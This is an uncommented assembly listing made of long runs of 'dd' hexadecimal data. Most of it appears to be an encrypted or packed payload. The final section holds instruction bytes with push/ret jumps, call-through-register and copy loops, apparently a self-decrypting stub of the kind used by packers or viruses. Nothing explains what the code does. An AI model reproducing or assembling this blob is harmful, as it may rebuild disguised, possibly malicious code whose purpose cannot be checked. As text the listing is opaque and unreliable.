0E9664436h, 9769F10Bh, 0EA99EBD0h, 17EE8752h dd 9F664432h, 58F43C6h, 1A661136h, 15669CB1h, 1569AD32h dd 0D14D2232h, 584AA9F9h, 0D7227626h, 0CB7BC701h, 14E3E555h dd 176023ABh, 75668832h, 75B6F33Dh, 1566A83Dh, 749F1132h dd 118A0B53h, 4E4270BBh, 1A9A4252h, 156611B0h, 1D8EE932h dd 0B2664432h, 0BD415FEDh, 957A6D90h, 743DA9F3h, 1A68F23Dh dd 156623BCh, 0ECE6E832h, 92E587B2h, 0FC664432h, 15662234h dd 6317EA14h, 0D6E7EB36h, 5C8A6845h, 6F6DE1B3h, 0DE673007h dd 6F6D63B3h, 0FEE76507h, 5C8A0E45h, 157E983Dh, 68F8832h dd 5E664432h, 0F5DEAD07h, 68984E42h, 699C1A42h, 0F210D606h dd 0AF34FDA3h, 26214608h, 0F7A75AC5h, 0DFE70631h, 7E584F33h dd 9460FBF3h, 5564CBC0h, 4FB56DCCh, 9169D752h, 15661134h dd 8B5269B3h, 0FC0745B7h, 15662282h, 156A9D3Dh, 128F8832h dd 16664432h, 434C3E8Fh, 46344601h, 0EBEE4F85h, 9288C469h dd 0E3E6E4CCh, 4F97398Ch, 156B61CEh, 8D2B4432h, 774FFAB0h dd 0E5A9FFF9h, 0E29CD034h, 14A7C5E3h, 75662232h, 138FDFB8h dd 0D7668832h, 0BC67AECh, 0AB3043F5h, 156611CDh, 21ED7913h dd 11A2C516h, 75662232h, 15E71E52h, 0FC668832h, 15664420h dd 0E352A2ABh, 1C2366E5h, 0BE115572h, 7A5BC243h, 0AD07981Eh dd 24122E6h, 3DD9DF53h, 0D410F951h, 0D2E726DDh, 2C073057h dd 94626FF3h, 12FD8DDh, 0FAE76518h, 0CD0D043Eh, 3C39731Bh dd 0DCA5C5F9h, 0E06C7228h, 254394B9h, 93698E19h, 15664433h dd 0F0F3A9CEh, 0FC603A1Ch, 1566883Ah, 55BBCF4Ch, 53243553h dd 1E83ACB1h, 1A678E19h, 156412B6h, 0CD5DDB32h, 156C933Dh dd 2C9F8832h, 12E04BE1h, 0E099DDCBh, 1567AA61h, 0CB4F8832h dd 0A235B169h, 0E591A203h, 9D28D6B2h, 138FD3CAh, 19664432h dd 9D1E2F3h, 0FCCCE416h, 15668826h, 71DD16DAh, 53F5970Fh dd 7C831862h, 640B677Fh, 157A582h, 0B7DC7062h, 0E217C71Fh dd 768C09E0h, 94572162h, 2E1824F0h, 4FB69891h, 1DEC7833h dd 156CAD6Ah, 0C3332232h, 691EFDA9h, 118EA980h, 156654DBh dd 189CEF32h, 6499A6DBh, 0D8098C80h, 230F7864h, 0BED07036h dd 0E566C482h, 96429CB9h, 108F40F6h, 0A662232h, 27CF814h dd 9C6264B1h, 0BCD66036h, 0D4464436h, 0CE91E6Ah, 0FC668832h dd 15664426h, 0E3B2E8B2h, 27EB9385h, 9CE39A8h, 718B5515h dd 62A57C0Dh, 7306D93Ah, 0BF075FB9h, 15664DDBh, 11FAB432h dd 5B34593h, 0D6E7CFF5h, 5CFB5D27h, 0AA31D91Bh, 5CFB0827h dd 0EC39731Bh, 10EDFC62h, 895303F9h, 3023AE1Fh, 7ADB8DB8h dd 0D1439CC5h, 30135A2Ch, 69893CCAh, 5D6A341Fh, 4DA56D22h dd 24BE13C7h, 0FCBE20F1h, 15668821h, 0AECCB67Dh, 0E4D8F26Eh dd 0A08D55DFh, 0B526043h, 0EC8B2981h, 156CCB99h, 0D1A51132h dd 6B208191h, 9E97F082h dd 15649860h, 0C3671132h, 94429CB9h, 156640F6h, 156BCB32h dd 1FB61132h, 2D98286Ch, 81EAC085h, 9CB5E87Bh, 3E560887h dd 19D9E834h, 1A5B4DA4h, 0D207D08Dh, 3E6DF4B7h, 15668934h dd 19E24B32h, 1A662232h, 156617B9h, 15EA8732h, 47664432h dd 0D7E77866h, 15661136h, 92624AB1h, 753A6026h, 8006F0B3h dd 9ADD4876h, 7417D721h, 434258B9h, 0D3E7C4BBh, 15661136h dd 15624EB3h, 21E14432h, 75937E16h, 156D903Dh, 108E8832h dd 87664432h, 0EA344688h, 2199706Ah, 0D1E5D116h, 1FEC4B36h dd 75662232h, 1566953Dh, 0DFEC8832h, 118AC753h, 9C4216BBh dd 11A090D4h, 96668832h, 21E140F4h, 9D697E16h, 15661133h dd 7352E0CAh, 21EF4432h, 9480AB16h, 156615F4h, 11A00B32h dd 494270B5h, 156EA43Dh, 90691132h, 15668830h, 798F2552h dd 7599DDEBh, 62EA854h, 156F6153h, 8A1C4432h, 594C7043h dd 4455ABE9h, 0EA99778Bh, 4CA845CDh, 0FCD470CAh, 1EDC1BAh dd 11A20916h, 1A664432h, 15662EB6h, 13EB1E32h, 1A668832h dd 156644B4h, 0FCCCDA32h, 15661137h, 0F732829h, 65A62CD9h dd 21EF2232h, 73064916h, 72F748B3h, 156654DBh, 0AC127232h dd 0E6C74CAFh, 0AF7742E5h, 0EC77DFD3h, 0AB30435Bh, 3EA90427h dd 3C387833h, 7369CAh, 1A0609FDh, 9407C985h, 15668CDEh dd 317ACD32h, 15662689h, 4EBE3832h, 157F003Dh, 18F4432h dd 51662232h, 0B690395Fh, 0F591BD71h, 70330ECBh, 208A240Eh dd 0BE52B4C8h, 15710A3Dh, 1A064432h, 156622BFh, 156CF832h dd 21098832h, 36EB0975h, 9D5A4540h, 0F7EF4353h, 15624AB3h dd 0D7E54432h, 61997036h, 9A3C1516h, 0ED3AAC36h, 454258B9h dd 1163C2BBh, 96661132h, 11E18CF2h, 0EA9A1816h, 943F0606h dd 156615F6h, 9E9E7132h, 9C316006h, 11A1A3D5h, 96661132h dd 29E18CF5h, 73061816h, 74E0EA89h, 44809864h, 15668C8Bh dd 4CA84532h, 9262E4B1h, 1A3A3506h, 156685BBh, 94002432h dd 1ACB5FC3h, 156611B9h, 268FE932h, 0E099BBE9h, 8C67A7F5h dd 15631700h, 439F8832h, 1B4240B3h, 4E513A42h, 6568AE65h dd 0EE4FBF2Ah, 1DE54B6Dh, 1A662232h, 156613B7h, 4007E832h dd 1566405Ah, 0FE677F32h, 1C8FE86Fh, 68668832h, 0FB0A9F5Ch dd 94BAF218h, 1562FDB3h, 1EF8832h, 1566FE16h, 0E7672232h dd 753C0B31h, 156699DBh, 4757B332h, 5C6E50D8h, 0D7814094h dd 86E8C8F6h, 9E072E63h, 3E5607B7h, 19EF1E34h, 1A668832h dd 156642B1h, 15EB2D32h, 9E661132h, 3E486DA7h, 1575AD34h dd 747F2232h, 9BB594DCh, 0DD91A52Eh, 8CA349ACh, 4005356Ah dd 14DE4176h, 3C668832h, 95061CF4h, 1C8E42D9h, 0E9661132h dd 0B5C42C0Bh, 5259E760h, 96077BCAh, 3E404C8Fh, 91698934h dd 1566427Ah, 38AFA352h, 0FD3A910Ah, 15668837h, 0BDCE092Ah dd 5AE599CFh, 7438204Ah, 97695009h, 1566442Fh, 1ABC19CBh dd 156705B4h, 15696132h, 0B0F64432h, 0FA96CC20h, 993F39C4h dd 0BD6D72E9h, 0CD3CDD4h, 75600902h, 0AB95D9B3h, 9E07F6D1h dd 27FF45AFh, 156FCB34h, 2DA71132h, 9E28A952h, 1AE5E5BFh dd 156623B3h, 0AB30E932h, 3F54F01Eh, 542301Bh, 313A236Ch dd 3122903Eh, 271EA43Eh, 14E64B18h, 0ED662232h, 1563AEDBh dd 18EE832h, 12664432h, 0D2F2D03Bh, 1A6A06E9h, 500BF3CAh dd 7FBA6745h, 0A2FEA8BFh, 85DE4872h, 74741EF9h, 444278B9h dd 0D4E7C3BBh, 15661136h, 926249B1h, 0FC3A603Eh, 1566223Fh dd 9B83CDE6h, 0D22F73ACh, 2970C644h, 48E3E59Bh, 14603A14h dd 0E9668832h, 424258B9h, 0D2E7C5BBh, 15661136h, 92624FB1h dd 0E93A600Eh, 4C4216CDh, 1562D5B3h, 99698832h, 15664438h dd 35DF4452h, 23DF773Dh, 2199E991h, 0D1E51A16h, 1FE82D36h dd 0FC661132h, 15668837h, 611F6149h, 0F5EF7222h, 15661537h dd 11A60B32h, 3112BB62h, 11E97A36h, 0FC934D16h, 0EA995E21h dd 0F0DBC7C7h, 14600939h, 1198953Dh, 1A068832h, 156645B2h dd 0C3E6DE32h, 884D70E3h, 134DB817h, 15664CDBh, 64CAD932h dd 35BDB373h, 30EB03B1h, 75606F27h, 188FCF84h, 0A7661132h dd 0D3AD92C7h, 0CAE9D63Dh, 0C70F62A7h, 1AEE1E53h, 0FC668832h dd 15664438h, 838BF987h, 0D88510C9h, 0FCE733B0h, 417B1C7Bh dd 0A833FB33h, 13820A68h, 58F66DB3h, 0E0E70003h, 455B736Bh dd 1A3BF833h, 15668FB8h, 14EF4B32h, 0ED662232h, 19EAC67h dd 0FC67F78Fh, 949F6D6Fh, 0A872DADBh, 18EE1E4Dh, 0FC668832h dd 1566443Ah, 0A549E2BBh, 30606ADh, 1563E065h, 3C394432h dd 469E7DCBh, 0CDEEF881h, 964294B9h, 9A6940F6h, 1566223Ah dd 1564943Dh, 74068832h, 0B80EBC98h, 9C662207h, 4D373536h dd 0EDCD7D6Bh, 9487CD63h, 156626F3h, 11A79232h, 9E4284B5h dd 1E8F6016h, 4A662232h, 0FF04FF46h, 0CF0AEF10h, 9EDD6B0h dd 0F7EF7016h, 1562D3B3h, 0D7E58832h, 3172C336h, 9069DB6Eh dd 15661133h, 316A03C7h, 9483CD67h, 156626F7h, 11A39032h dd 92668832h, 1A3A601Eh, 15662FB6h, 156EF832h, 49318832h dd 0EA2B3D5Eh, 21ED5605h, 0F4EF4016h, 156249B3h, 0D4E54432h dd 316AA536h, 156EF86Eh, 0ACD18832h, 0EEB12EBCh, 429E5EA2h dd 0AD36F6BBh, 5E4592AEh, 0FF1697Ah, 0D2676911h, 11A1926Ah dd 4942B4B5h, 7C28FC52h, 749F31F6h, 0EAB188DBh, 90A174CDh dd 1354DD33h, 15662230h, 528E79C7h, 29EF8832h, 9C91CD16h dd 0E9067DC9h, 15649B3Dh, 0CBED8832h, 1BD04B53h, 156EA73Dh dd 9D691132h, 15668830h, 0ECE62552h, 42E52DB2h, 0E0661132h dd 40D43052h, 0FC3709F1h, 15662220h, 0F9B1647Ah, 68E88A06h dd 514A8572h, 6A44B07Ah, 743F6417h, 25B263B3h, 0D6E72153h dd 64C773C7h, 0FEE7DA33h, 64C7D9C7h, 25B287B3h, 91694753h dd 15661133h, 38F574CEh, 0EA99BBCDh, 0D88FDBA1h, 1A661132h dd 156689BCh, 4735B132h, 0DFE63580h, 1D84D198h, 0DF985AC4h dd 9DE6B6B2h, 0DAE678E5h, 95B9E7BDh, 0EC4E76F5h, 14E04B69h dd 0EC662232h, 1567943Dh, 5C9F8832h, 3172B363h, 9869D76Bh dd 15661127h, 156698DBh, 15279B32h, 0CD2946CFh, 8A867C1Eh dd 144E0675h, 0D7DC1620h, 4315F349h, 558788Ch, 0D4B07F59h dd 0F3A747D4h, 4480A331h, 94659D2Dh, 0F4500DDCh, 0DC90C521h dd 2489C6CCh, 0E7E74FC0h, 69ADFAF4h, 3884B6B3h, 0E7E70B75h dd 33410599h, 753C5913h, 15664DDBh, 3994432h, 0D045FFA5h dd 0BCD4F56Dh, 13D81253h, 9405262Eh, 972FD2FCh, 11884914h dd 0C758AB3h, 0D3E7078Ch, 0ED95DC41h, 3C387B1Bh, 47A5C5F9h dd 0E046D079h, 254394B9h, 9E938E19h, 3E48A1A7h, 8B8FDE34h dd 1A99EEC9h, 156680B0h, 73932432h, 35F4C1B3h, 14E3D653h dd 1760BAABh, 75664432h, 1A35EAB9h, 743FCF85h, 6CD8DE64h dd 240B2926h, 4B620646h, 6C959069h, 0FC0BE526h, 1566443Ah dd 769BDBBFh, 23D9FF49h, 1568033Dh, 1C8F4432h, 23662232h dd 16EF257Bh, 0FFB19B30h, 1A68F23Dh, 156625BAh, 14EB1E32h dd 0E9668832h, 959FC4C7h, 1522A13Dh, 0EC931132h, 4B653062h dd 0B04B39ADh, 3C7B5D1Fh, 0DE6749F1h, 25384BB3h, 1E8F2412h dd 3F662232h, 0CBFC803Ah, 0A72E6CF4h, 449AF687h, 1566238Bh dd 4CAD1032h, 15668FDBh, 0FA870232h, 0B87A2C63h, 1566BFDBh dd 540E7432h, 9C66441Ch dd 0A5D20636h, 0D1E6DDCCh, 4D87A062h, 15664BDBh, 6F724B32h dd 778C338Dh, 0A12A15BCh, 0AAED74CFh, 15669C64h, 0DB4F1132h dd 21ED79BBh, 11A2C516h, 1A662232h, 156616B9h, 14E68732h dd 0E0664432h, 15999961h, 0CC471132h, 944294B9h, 156640F6h dd 156ECB32h, 5A471132h, 15310F6Dh, 0AF341D01h, 2CFE02C9h dd 7CF2F3B3h, 0D7E7BBC5h, 5B4510C3h, 3904D0B3h, 0FFA740FBh dd 0C08C0930h, 946CE14Eh, 6AF874D8h, 4FB510B5h, 0FEE7431Bh dd 6C1F3F7Fh, 156630DBh, 5176ED32h, 0A804FBDEh, 0D7EC1D7h dd 687A9C07h, 9EBD7D64h, 3E56ADB7h, 1569AD34h, 885A2232h dd 6296D7D0h, 2FF3F156h, 411ADECDh, 0F0F3A934h, 1A603A1Ch dd 156691B7h, 78F2432h, 10662232h, 4ED3E4DDh, 7B18340Eh dd 9AA21B64h, 0EE8FAE3h, 94067084h, 0B99347EBh, 13E34B22h dd 1A662232h, 156611B8h, 0A8E5E932h, 134D4FD7h, 15E22D33h dd 0FC99EECAh, 1566883Eh, 0E9584636h, 3D7652F9h, 1B068E11h dd 97695009h, 1566442Bh, 1AB51BCAh, 0EA88B0B4h, 9E00E8CDh dd 1560ADF3h, 16862232h, 3B414239h, 0EADED853h, 201A7C7Eh dd 8B369EBh, 0FDB7F9E3h, 6E27421Fh, 4DA0452Ah, 0E5ED4452h dd 745EC5B2h, 31520964h, 3D97099Bh, 4AD9756Bh, 0D4634E4Eh dd 0FAA78AD5h, 0CA81C53Ah, 94009C34h, 37D139DDh, 4A9FB9E5h dd 4A90C552h, 0AB570B8Ch, 40A58DF7h, 34A70953h, 942DA124h dd 8D4632F3h, 949F380Bh, 8D4698DBh, 348FC50Bh, 0FC2DC724h dd 1566113Fh, 0F58256BAh, 9F6FCBDEh, 895135CEh, 0AC3743E5h dd 5E1BAB54h, 5555A5B3h, 0FCE70ED1h, 15B93D9Ah, 0C61979B3h dd 0DFEF43B3h, 4FB70B6Bh, 156BF852h, 0B3FB8832h, 9298ED1Fh dd 0FE80BBEh, 1AFB8E44h, 0A5074185h, 0EBF460E0h, 11920EF2h dd 1A0C15D2h, 156689B7h, 75CCBD32h, 0E4A8A252h, 15669C3Dh dd 75078832h, 1566C23Dh, 99692232h, 15661132h, 4436E953h dd 316ACF6Ah, 0FC62E6B1h, 15661134h, 153F6C2Fh, 0FCCD4697h dd 15662235h, 73D5B8EAh, 0FCD8F6BEh, 0EA999700h, 156636DBh dd 322CB232h, 0C6A418Dh, 39631C75h, 7658513Ah, 0C7AD47C0h dd 1A8FE8E8h, 0B1664432h, 0AE1B2947h, 0E50117ABh, 416CAEDCh dd 0CAE70056h, 6DCCCF0Bh, 15DC4353h, 14668832h, 9E64CEC0h dd 0D1E70626h, 15661136h, 156685DBh, 637E0732h, 1968F3Fh dd 60E89B41h, 0FD5AD40Fh, 154BC03Dh, 9C692232h, 15661133h dd 5C6B30CBh, 0FDA75C28h, 277A2737h, 0F5A70F72h, 35DFD931h dd 249E4C11h, 0AF067BFAh, 21538EA9h, 14CD6153h, 7D9F4432h dd 15666B2Fh, 1A420DBBh, 15669BB0h, 1568AD32h, 12562232h dd 0A0B62822h, 0BEF0157Ah, 0DAAA7054h, 15662ADBh, 0DDF80C32h dd 0FA1022FDh, 1BA72CEEh, 21EF2232h, 1A064A16h, 15668DB9h dd 0D2E72232h, 0F7D58B6Eh, 14DE4153h, 10668832h, 12DC62ADh dd 8A4BD233h, 1661AB14h, 7406D02Ah, 0DDE1464h, 0C416791Dh dd 436E34DAh, 0FC43F7C1h, 3845900Fh, 35663631h, 143ED7BBh dd 9069D6C1h, 15664433h, 0A13670CEh, 1D82D16Fh, 9DCD7CB2h dd 56D61CD0h, 0FC3CF202h, 15661122h, 544958Dh, 5DB800F8h dd 7C6404Eh, 70E661E9h, 15756198h, 99FA4432h, 0F2AD431Eh dd 51354B5Eh, 0E0979E33h, 3BAF8595h, 1569CBA5h, 18841132h dd 6855ECD3h, 0DCC1561h, 0DC94DE45h, 0B4A590CBh, 3C165669h dd 6BDC16C9h, 94661B09h, 151212F0h, 0CAAC0977h, 9453F74Ch dd 373DE0F0h, 4FB538C9h, 11D8DECAh, 94664432h, 8B2269F1h dd 9495380Eh, 8B22C3D9h, 45931A0Eh, 3162A961h, 1562D5B3h dd 1A3D8832h, 156643B2h, 0FDE64232h, 74819BB9h, 14EE8799h dd 0EC664432h, 42423EB9h, 0D2E7F6BBh, 15668836h, 926283B1h dd 0EC3A060Eh, 1563AE65h, 0FBE78832h, 47D534FFh, 0D3E7DC33h dd 47D561FFh, 0E6876Dh, 1A664432h, 15662DBFh, 156CF832h dd 1B848832h, 84279A1Dh, 552463A3h, 83D84760h, 0AF068237h dd 9011EECh, 0D438D003h, 0DFE719D8h, 1B7BB38h, 95C486B3h dd 0C5EFC930h, 0FC307168h, 1566883Ah, 96EE47DDh, 0D22577D2h dd 0CCD11E6Dh, 0AE064B53h, 3A910FA3h, 15662CDAh, 23255F32h dd 0C114565Ch, 43EA1A0Ch, 4D34D38Fh, 0F4EF4053h, 156249B3h dd 0FCE54432h, 316AA536h, 316A986Eh, 0EA0071C7h, 11E72204h dd 73636B16h, 944215B9h, 15668AF6h, 5C4B2232h, 78E4237h dd 5D661132h, 0E598A017h, 0AAC93A6Dh, 0EB3DDD33h, 0BD122073h dd 6EDEEEBBh, 9E001D06h, 0D65A43E5h, 1471953Dh, 58F8832h dd 7664432h, 7009EE66h, 4688167Ch, 0FD9950AAh, 295D2BF0h dd 0EFE22DF9h, 0ED661132h, 91694A0Eh, 15664525h, 157EA73Dh dd 68F1132h, 5C668832h, 0B35465AEh, 4D347D86h, 0C6032394h dd 7E99D95Ch, 0DF5A88A2h, 1597A63Dh, 0FC061132h, 15668834h dd 0C50A21F7h, 9400E4DCh, 74E9C9FBh, 3099B554h, 1472C03Dh dd 9A692232h, 1566113Eh, 15600D3Dh, 97694432h, 15662232h dd 0EA482C54h, 15590D3Dh, 0E9064432h, 17DC7053h, 14661132h dd 9E6402C0h, 0D1E56026h, 0A734D736h, 9EB631C2h, 0D1E7AC26h dd 15664436h, 0D6ED4452h, 2907A382h, 0EDE28792h, 0ED664432h dd 15662ADBh, 60ECD932h, 0ADFEBB23h, 316ACF41h, 9481AB65h dd 156615F5h, 11A10932h, 92664432h, 0FC3A060Eh, 15661137h dd 38AB146h, 15662CC4h, 11ED2232h, 11A29216h, 156682DBh dd 85927C32h, 1F2C0EEDh, 0FC1EFB92h, 15668907h, 156654DBh dd 0ED6D0832h, 62B2E075h, 46B4322Ah, 0B5EF57AEh, 0E9AF1341h dd 0EA99AF64h, 0E44F77CDh, 0E2ED246Ch, 1563A33Dh, 68DF1132h dd 74716AFAh, 1566DCDBh, 1A934232h, 7D07C385h, 15668831h dd 944248B9h, 156626F6h, 0DEED7132h, 15669CDBh, 4CFE3E32h dd 68419AEEh, 875DDE8Dh, 14537531h, 884BD6A7h, 778F431Bh dd 0FC661132h, 15668838h, 48F57EC3h, 58935535h, 0F9E5FDF1h dd 31520136h, 0F156755Ah, 0E3E77C29h, 495656EAh, 628566B3h dd 0E4EF03E6h, 0AE00426Ch, 0FC07984Bh, 1566881Fh, 156642DBh dd 3C1CD432h, 7DD8ADCEh, 15668835h, 944248B9h, 156626F6h dd 1C8F7132h, 51668832h, 0BB289E82h, 0C23A50Fh, 52BCAF54h dd 75C27B53h, 0EFED22C7h, 0F0EBA953h, 75603A1Ch, 0FDB50954h dd 0DCE32582h, 1571A73Dh, 1A061132h, 15668BB3h, 0E6ED2232h dd 60B55C8Ch, 0A0EF7050h, 134DA6D7h, 3152BBCAh, 11A2A36Bh dd 0FC661132h, 1566883Dh, 0FA476798h, 0D987C723h, 0B1968C58h dd 46BADDD9h, 15664589h, 39E77132h, 11158E16h, 8A63D014h dd 4E404041h, 7393E1CEh, 4D0027CDh, 1AA5B4CBh, 15678EB6h dd 19E12D32h, 1A661132h, 15668EB9h, 15E54B32h, 7D662232h dd 1566407Dh, 9D4284BBh, 4C8DCCF7h, 156630DBh, 1C8B2532h dd 0D4C8C28Ah, 79263620h, 1001E32Fh, 44C267E3h, 0FCE69F83h dd 95BFB284h, 0E4E672D3h, 6B8F919Fh, 352961B2h, 316ACFF9h dd 1562E6B3h, 99691132h, 15668821h, 15664ADBh, 8E40D332h dd 0BAE9F3EEh, 0A40ABC74h, 952A4458h, 916952C9h, 156612BEh dd 1A8FB4CAh, 15670EB6h, 14EF2D32h, 0E9661132h, 9169630Eh dd 15664509h, 1561AF3Dh, 99691132h, 15668833h, 1AA478CBh dd 156704B6h, 0BE11E32h, 75668832h, 1566C03Dh, 48F2232h dd 48661132h, 0F39DB5C8h, 11EB5038h, 0E46607C2h, 39DF140Dh dd 1AADB453h, 1566BEB6h dd 1561CB32h, 94071132h, 0FEE86069h, 0EA5B2255h, 0F1E22D17h dd 0FC661132h, 15668834h, 2A929172h, 0DF5ABE9Ch, 15B7953Dh dd 29938832h, 14E24BD1h, 0ED662231h, 0EA482C54h, 151D0D3Dh dd 95694432h, 15662234h, 0A269E852h, 479EE9C4h, 568DFA64h dd 0D3E71600h, 59DE6F5Eh, 532056C5h, 0D73182B3h, 0E7EFA2D8h dd 9F94106Ch, 4793D230h, 9DE0F563h, 0D7E67BF8h, 2F8C9196h dd 1A3C5812h, 156657BFh, 1568CB32h, 15AB1132h, 0AE858FBBh dd 79D0D45h, 692085A6h, 1AC62DCEh, 1566D6B6h, 0CAED2432h dd 15662EDAh, 0EA5DCB32h, 0FCD681E7h, 0A5A3EE0Eh, 53B6A3E7h dd 4A404723h, 1566E053h, 11ED4432h, 11A2A316h, 0FC661132h dd 15668820h, 0A63DA642h, 0D9E71AAAh, 88272338h, 8B74FD27h dd 638FC565h, 0FC662232h, 15661121h, 1A999DADh, 36A6A987h dd 89E38345h, 200D93AFh, 9CC8C49Dh, 3E48A187h, 156DCB34h dd 293B1132h, 7935AA6Ch, 53B92EF4h, 6EFBAF56h, 0E0602087h dd 156680DBh, 84686832h, 0A9F54992h, 1AB5EED5h, 156689B9h dd 9E06B832h, 13E82DF5h, 1A661132h, 156688BFh, 0A8332532h dd 1F941A16h, 5BA7A863h, 0D857DB11h, 94B3B36Bh, 0C410C5F7h dd 488E986Bh, 96694BCAh, 15664433h, 37944ACEh, 11EF1132h dd 12E78716h, 75664432h, 1E499854h, 639970CAh, 31620322h dd 756280B1h, 0C9622B8Ah, 90EF7004h, 134D9483h, 11EDB1C7h dd 0F6EF7116h, 1562D2B3h, 0D6E58832h, 317AC336h, 1561CB6Eh dd 935C1132h, 0C32A3FC2h, 4535B17Eh, 15663E8Ah, 4DA59832h dd 1A3D5633h, 156645BCh, 0A8EBDB32h, 134D37FFh, 108F25CAh dd 56664432h, 1D7D9A42h, 0C1BA863h, 0DD678EA4h, 3122476Bh dd 0C1B0F16h, 1B8F17A4h, 0C4668832h, 9D7D7CE0h, 0A99CF019h dd 3A01EA2Eh, 94062303h, 0E516AC5h, 7306436Dh, 1A76548Ah dd 15668EB8h, 15ED4B32h, 74662232h, 5B3ACBFh, 92698E19h dd 15664427h, 156FCB52h, 8B41132h, 7A0CBE65h, 737A5621h dd 304EE0B3h, 108FBC53h, 0F9668832h, 0B28A9C3Dh, 21B99B63h dd 0DD674EEDh, 31228B6Bh, 21B96916h, 449E7DEDh, 0D4E7F0BBh dd 15668836h, 1562ADB3h, 19E12232h, 11EF4D16h, 156A6116h dd 92EE4432h, 0E2831594h, 0A7F4E9A2h, 0FCCDA5D5h, 15664434h dd 0D226F1A5h, 0A8EBDD05h, 134DAD8Fh, 156648DBh, 2DF58532h dd 4045AF40h, 4D3B22B6h, 1A06E929h, 156636B5h, 1569F832h dd 4B058832h, 0AACD71ADh, 5D774A1Fh, 0B450FD6Bh, 0E9830824h dd 6C6F6953h, 51656603h, 0AA313916h, 71CD7F1h, 44A9C57Dh dd 0D42FAB5Eh, 0FAE719DDh, 55699D03h, 1C638BB3h, 0E2E764A9h dd 97888774h, 75397033h, 37212C8Ah, 9FD94419h, 0FCCD7006h dd 15668823h, 31F4C6E8h, 0F5504FE0h, 0FD412C3Ch, 140BF7A8h dd 3152CFAFh, 9484AB60h, 156615F0h, 11A40932h, 92664432h dd 753A0626h, 742FF5B2h, 9269E8F1h, 15664432h, 7497953Dh dd 94819865h, 15668CF5h, 1189C732h, 49421EB5h, 0FC4225BBh dd 15668839h, 7FA3C06Ch, 0B4F7536Eh, 9893286Dh, 24D240AFh dd 0CE84B34h, 0FC662232h, 15661126h, 22EB9190h, 6F48E6C0h dd 62F7D03h, 76D95076h, 0F0C2E20Fh, 1B8F97CDh, 63662232h dd 6DF3567Eh, 5D2A795Dh, 0FB84B1B8h, 0E845CBB2h, 7306EECDh dd 985A49B3h, 4ECEDF53h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h dd 0A477C5CFh, 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h dd 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh dd 13798A15h, 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h dd 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 25CE2559h dd 0F143B85Eh, 61B232DCh, 71BA8C27h, 0C3A8EDD8h, 0A2458A42h dd 0D558DDAEh, 38C88260h, 2C66E34Eh, 44DF0746h, 0D5529A1Ah dd 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh, 900EA18Fh dd 0B0D9FB57h, 0A477C1F3h, 6FDD7BAEh, 0A25863E9h, 5FABA851h dd 0AA307519h, 616332DCh, 2F168C27h, 181F4ECBh, 2B967513h dd 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h dd 2CE99D8Dh, 0B8062Bh, 89000013h, 2B1FD185h, 0E806h, 5580000h dd 0Dh, 0E90389h, 13h, 37h dup(0) dd 5E98300h, 0CB8BA4F3h, 54373D03h, 0CEB13256h, 0D6D76D00h dd 0CA3925B1h, 3D4DDEDDh, 0EAB13256h, 7E5BB30Ch, 0DAB703B2h dd 3BD153AFh, 0A159E1DDh, 0BB13256h, 1D5E0297h, 0D2A90D7h dd 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h, 0FB48D911h dd 0F53FD525h, 9935ADFDh, 34229147h, 0AC7ACFB7h, 0AD29B723h dd 0FD7A1A20h, 7C277975h, 0CF1F3998h, 2BFFA073h, 5E98316h dd 0DB8BA4F3h, 9905BD8Dh, 8D8D0632h, 6331CF5h, 156644B8h dd 0C1CF2B32h, 73102E9h, 0C783C8D0h, 0F6754904h, 7E9h dd 4F810D00h, 155461BFh, 81666060h, 562B7EF0h, 0F61615Ah dd 138Dh, 0D8B0F00h, 0E9000000h, 8, 0EB2E158Ch, 0C5E8B8C7h dd 4EC81h, 4890000h, 860F5824h, 15h, 0F800Fh, 0AE90000h dd 0C3000000h, 98E1694h, 0E383F99Bh, 0F9BD8317h, 62B01h dd 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h, 411h, 34798589h dd 9D8D062Bh, 62DBFDCh, 585BD3FFh, 1689BD83h, 7400062Bh dd 0B8535017h, 411h, 34798589h, 9D8D062Bh, 62DBC7Dh, 585BD3FFh dd 11E9FCh, 28440000h, 28C2A3E7h, 441502E5h, 0FDAE0E53h dd 8330B172h, 48904ECh, 0FE95824h, 2B000000h, 0A8C4EA74h dd 0FF82A9B9h, 0FAE55012h, 8DF8D2F5h, 3321298Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 87D913ACh, 9E4D5EE1h, 0E9BE60F8h, 89182C98h, 2B0EE18Dh dd 0DE906h, 1CCB0000h, 7840FEF8h, 0FB67C770h, 0C726C680h dd 2B21E185h, 638806h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 378BC87Ah, 0A74EC530h dd 2352D3D0h, 2B20959Dh, 85C75F06h, 62B2BE5h, 0 dd 15BCBE66h, 1D15B5FFh, 6A062Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 169075C3h, 8B9AF532h dd 2B1C4585h, 3195FF06h, 6A062B27h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BF9FC355h dd 2DEF301h, 2AAD9D8Bh, 6A062Bh, 294595FFh, 0C08B062Bh dd 0D11E0FEBh, 0E6C2A9F9h, 0A139F3A3h, 0FC0DDF77h, 0EDE9A0h dd 66600000h, 4A8D88Ch, 0DF840Fh, 0B58B0000h, 62B02C5h dd 0F00FE83h, 2285h, 2D85C600h, 45062B33h, 72696968h, 1DB5FF8Eh dd 8D062B0Bh, 2E83EB85h, 89D0FF06h, 2B0EA185h, 80F08B06h dd 850FE93Eh, 31h, 0A09A858Dh, 0D0FF0630h, 260DBD8Bh, 0C781062Bh dd 1184h, 2C5B58Bh, 0F787062Bh, 8B9h, 8BA4F300h, 2B02C5B5h dd 8E858D06h, 0FF062F41h, 51B58BD0h, 83062B2Bh, 850F00FEh dd 22h, 332D85C6h, 6854062Bh, 0FF4EBEF4h, 0B1DB5FFh, 858D062Bh dd 62E83EBh, 8589D0FFh, 62B2B51h, 3E80F08Bh, 3A850FE9h dd 8B000000h, 2B2B51B5h, 